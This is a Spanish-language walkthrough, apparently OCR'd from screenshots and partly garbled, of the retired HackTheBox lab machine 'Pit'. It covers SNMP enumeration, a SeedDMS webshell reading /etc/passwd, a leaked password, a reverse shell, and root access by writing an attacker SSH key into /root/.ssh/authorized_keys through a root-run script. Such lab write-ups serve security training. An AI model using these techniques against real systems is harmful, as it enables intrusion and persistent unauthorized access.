DIFFICULTY MACHINE STA

Linux 16 May 2021 Medium Retired

1. Enumeracion
Realizamos un PING a la maquina victima para comprobando su TTL. A partir del valor devuelto,
nos podemos hacer una idea del sistema operativo que tiene. En este caso podemos deducir
que se trata de una maquina Linux.
/home/kali

Z 1 10.190.10.241
PING 18@.

t loss, time @ms
rtt min /mde @ ms

Realizamos un escaneo exhaustivo de los puertos abiertos, con sus correspondientes servicios y
versiones asociados.

report :
s up (0.041s latency

(protocol 2.0)

_http-tit
_http-ser

2ba0d20a1a6f92/countryName=U
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Observamos que nmap nos reportas una entrada dns (dms-pit.htb). La anadimos a nuestro
fichero hosts.

10.10.10.241 dms-pit.htb pit.htb

Miramos las tecnologias usadas por la web que se sirve por el puerto 80. También aprovechamos
para ver su contenido mediante nuestro navegador. Parece la pagina por defecto de Nginx.

PoweredBy | Re i for the K o , nginx[1.14.1]

Welcome to nginx on Red Hat Enterprise Linux!

This page is used to test the proper operation of the nginx HTTP server after it has been installed. If you can read this page, it means that the web server installed at this site is working properly,

Website Administrator

This is the default 1rsex ma1 page that is distributed with ngimx on Red Hat Enterprise Linux. It is located in fusr/snsre/nginsmtst
You should now put your cantent in a lacation of your choice and edit the root configuration directive in the nginx configuration file /etc/nana/mtns. cont.

For information on Red Hat Enterprise Linux, please visit the Bed Hat__InC, website. The documentation for Red Hat Enterprise Linux is available on the Red Hat, Inc. website

NGIMX Sz

Revisamos la web que se estaba sirviendo por el puerto 9090. Probamos credenciales habituales,
pero no ganamos acceso.

% CentOS

CentOS Linux

Como no conseguimos un vector claro de ataque, vamos a intentar enumerar puerto UDP que
puedan estar abiertos. Como la busqueda de puerto UDP es un poco lenta, vamos a empezar
por los 500 mas usados.
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/home/kali

TB/pit/top500UDPPorts

ining)
e to 11 out of 3

Vemos que el puerto 161 (SNMP), estd abierto. Vamos a realizar una enumeracion. Realizamos
un ataque de fuerza bruta para intentar saber la “community” que se estd exponiendo. Vemos
que es “public”.

/home/kali/HTB/pit
/usr/share/seclists/Discovery/SNMP/snmp.txt 10.10.10 1
> 1 hosts, communities
1 [public] Linux pit.htb ( .16 i Tue Jul 2¢
1 [public] Linux pit.htb - # Tue Jul

Realizamos una primera busqueda, pero no vemos nada que nos llame la atencién. Revisando
la ayuda de snmpwalk vemos que por defecto se empieza a buscar valores por el mib-2. Vamos
a ver si encontramos informacion de interés en los mib-1.

/home/kali/HTB/pit
public 10.10.10.241 1 snmp.txt

/home/kali/HTB/pit
t snmp.txt -1 ruby

Esta vez, los llama la atencion dos cosas. La ejecucidn del programa /usr/bin/monitor, la ruta
web fvar/www/html/seeddms51x/seeddms y los usuarios del sistema obtenidos (michelle y
root).

sr/bin/monitor

rar/ waw  himl ‘seeddms51x/ seeddms
dev/mapper,/cl-root
apper./cl-seeddms
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OutputFull. "mon

ti to datab.

release info
x release

_r system_r unconfined_r
aff_r sysadm_r unconfined_r

system_u 0 5 y unconfined_r
unconfined_u s s c0.c1023 s unconfined_r

__default__
michelle
root

2. Analisis de vulnerabilidades
Intentamos ganar una RCE siguiendo las instrucciones https://book.hacktricks.xyz/network-
services-pentesting/pentesting-snmp/snmp-rce pero no funciona.

/home/kali/HTB/pit
+NET-SNMP-EXTEND-MIB

NET-SNMP-EXTEND-MIB

Con la ruta /var/www/html/seeddms51x/seeddms encontrada, vamos a ver si afiadiendo
“/seeddms51x/seeddms” a la URL http://dms-pit.htb/ conseguimos llegar a una nueva
aplicacion.

O & dms-pit.htb/seeddmsSix/seeddms/out/out.Login.php?referuri=%2FseeddmsS1x%2Fseeddms%2F

Kali Linux @ Kali Tools * KaliDocs W Kali Forums ¥ Kali NetHunter Exploit-DB Google Hacking DB OffSec

Sign in

User ID:
Password
Language: v

Sign in

Llegamos a un panel de autenticacidon. Aprovechamos que tenemos el usuario michelle y
probamos a acceder con la misma clave que el usuario. Conseguimos acceso.

O A& dms-pit.htb/seeddms51x/seeddms/out/out.ViewFolder.php?folderid=1

KaliLinux §8 Kali Tools < KaliDocs X Kali Forums ¢ Kali NetHunter Exploit-DB Google Hacking DB OffSec

SeedDMS Calend Search

Folder Folder Notification List
DMS

-] Folder Information
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https://book.hacktricks.xyz/network-services-pentesting/pentesting-snmp/snmp-rce
https://book.hacktricks.xyz/network-services-pentesting/pentesting-snmp/snmp-rce
http://dms-pit.htb/

Buscamos informaciéon sobre SeedDMS.

SeedDMS permite gestionar un numero ilimitado de usuarios, grupos, documentos,
departamentos, categorias, etc. Se puede usar desde cualquier dispositivo gue
disponga de un navegador de web, como por ejemplo un ordenador, una tableta o un
smartphone.

https://digipime com » documentmanagement  }

Sistemas de gestion documental en web (DMS) - Digipime @

Ahora comprobamos si presenta vulnerabilidades de las que nos podamos aprovechar.

Nos creamos este fichero malicioso, llamandolo como dice la informacidn de la vulnerabilidad,
como 1.php y los subimos a la web para tener un RCE.

GNU nano 6.4

@ O @& dms-pit.htb/seeddms51x/data/1048576/32/1.php?cmd=cat+/etc/passwd

KaliLinux & KaliTools * KaliDocs ¥ KaliForums & Kali NetHunter Exploit-DB Google Hacking DB [¢

root:/root:/bin/bash

/bin:/sbin/nologin

aemon: /sbin: /sbin/nologin

Jvar/adn: /sbin/nologin

ar/spool/1pd: /sbin/nologin

yne:/sbin:/bin/sync

:0:shutdown: /sbin: /shin/shutdown
halt:/sbin:/sbin/halt
ail:/var/spool/mail:/sbin/nologin

:0:0perator:/root: /sbin/nolegin

:100: games: /usr/games: /sbin/nologin

Ttp:x:14:50:FTP User:/var/ftp:/sbin/nologin
nobody:x:65534:65534:Kernel Overflow User:/:/sbin/nologin
dibus:x:81:81:Systen message bus:/:/sbin/nologin
systemd-coredump:x:999:997:systemd Core Dumper:/:/sbin/nologin
systend- resolve:x:193:193: systemd Resolver:/:/sbin/nolagin
ts5:x:50:59:Account used by the trousers package to sandbox the tcsd daemon:/dev/null:/shin/nologin
polkitd:x:998:995:User for polkitd:/:/sbin/nologin

unbound: x:997:994:Unbound DNS reselver: /etc/unbound: /shin/nologin
5550:x:996:992:User for sssd:/:/sbin/nologin

chrony:x:995:991: : /var/lib/chrony:/sbin/nologin
sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/shin/nologin
michelle:x:1000:1000::/home/michelle:/bin/bash

setroubleshoot :x:994:990: : fvar/lib/setroubleshoot: fshin/nelogin
cockpit-ws:x:993:989:User for cockpit-ws:/nonexisting:/sbin/nolegin

mysqlsx MySQL Server:/var/lib/mysql:/sbin/nologin
nginx:x 8:Nginx web server:/var/lib/nginx:/sbin/nologin
apache:x: :Apache: /usr/share/httpd: /sbin/nologin

cockpit-wsinstance:x:991:987:User for cockpit-ws instances:/nonexisting:/sbin/nologin
rngd:x:999:986:Random Number Generator Daemon:/var/lib/rngd:/sbin/nologin

Intentamos conseguir una reverse shell, pero no conseguimos que funcione a pesar de usar
varias técnicas. Anteriormente, durante la fase de reconocimiento, vimos que se empleaba
SELinux. Puede ser la causa.

Request Response

Pretty
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Realizamos una enumeracién de directorios, hasta que nos encontramos con el fichero
settings.xml que contiene una credencial.

Request Response
pretry

Clave: ied*ieY6xoquu

Intentamos ver si esta clave ha sido reusada intentando conectarnos por SSH con el usuario
michelle, pero no funciona. Lo intentamos con la web que se sirve por el puerto 9090 y
ganamos acceso.

pithtb

@ Web console is running in limited access mode.

pithtb rnning Cent0S Linux 8

3. Explotacion y acceso

Esta web, presenta la opcién de abrir un terminal, por lo que nos aprovechamos para
generarnos una reverse shell, y asi trabajar mas comodamente.

michelle@pit:~

[michelle@pit ~]s ||

Overview
Logs

Networking

Applications
Diagnostic Reports
Kernel Dump
SELinux

Software Updates

Terminal

Jhome/kali/HTB/pit

43
any] 443 ...

A
Listening on [
connect to [10.10.14.19] from (UNKNOWN) [1@.10.10.2541] 60182
whoami

ichelle
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4. Escalada de privilegios

Tras realizar el tratamiento de la TTY, revisamos el contenido del script monitor que
encontramos durante la fase de enumeracién.

apit tmpl$ cat fusr/bin/monitor
ash

for script in fusr/local/monitorin heck#sh

do

/bin/bash $script
done
[michelle@gpit tmpl$ |}

Vemos este script ejecuta, a su vez, como root todos los scripts presentes en el directorio
/usr/local/monitoring/ que empiecen por check y terminen en sh. Revisamos los permisos que
tenemos en ese directorio. Vemos que se tienen aplicados permisos acls a nuestro usuario
michelle.

[michelle@pit tmpl% ls -la fusr/local/

root 149 Nowv
root 144 ]
root 6 Nowv
root 6 Now
root 6 Nowv
root 6 Now
root 6 Nowv
root 17

root 5]

root 181 Dec
root 6 Now
root 49 Nowv

o

o L L L L

on

tfacl: Removing leadin
file: usr/local/monity
owner: root

root

—-WX

Intentamos crear un script que afiada permisos SUID a la bash. Ejecutamos de nuevo el
snmpwalk para que ejecuta el monitor. Sin embargo, no resulta.

nsExtendOutputFull onitoring” = STRING: chmod: changing permissions of '/bin/bash': Permission denied
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Intentamos afiadir nuestra id_rsa, en el authorized_keys del usuario root de la mdquina vicitima,
para poder conectarnos posteriormente por ssh como root.

2 michelle@pit:/tmp

Archivo Acciones Editar Vista Ayuda
#!/bin/bash

echo "ssh-rsa AAAAB3NzaClyc2EAAAADAQABAAABgQDF1FgpJEDuKRUaluo/DgDF6g+0EbsDmmLYSm+yjvmuu+9esPssC3upyoN74/glD8778FeBzsuiGzgxff
7TrzMb4ACTANC/2fq9/BZyYfx/vKVgThuhieV1lipvXNDjs00sdayj/+olwyWzBdKqXfcdeFKnBvy4+jQUolugUnkg2MyWpFclm/+5qthohl+SUFYh2cx8Vy
TP9z5h5xpDWXANMHF13pLL2ib4gWc+rFmHIQX5A0DSeEiMAYKXWRueAGS5U+SehQrvulXqz1ZzxCKP78YyXojBfazqjydbnjA3LZSt7xTmFphsCpfA6uDMCLlGaRrr
XrWufxxUtW+rJIvOLkbX2YIqUzZOxMKCyT472zGYeo/XRN+VBT70pwGzAPVhfTOhCDYB414mkXxk jcMQk2I6XQUhvgleVuuYIBAUY9Nayr99kvX9CyYD9/IQiM6Bkhh
PpTfCTwLYfvp+0q0XexwQGcnORk6kPyh3Wlu4/aggZ6hzbsgkcul txrI7BEVItBwS= rootakalii >> /root/.ssh/authorized_keys

Jhome/kali/HTB/pit
root@ld.18.10.241 -1 id_rsa
Web nsole: https://pit.htb:9098/

Last login: Thu Nowv
~H whoami
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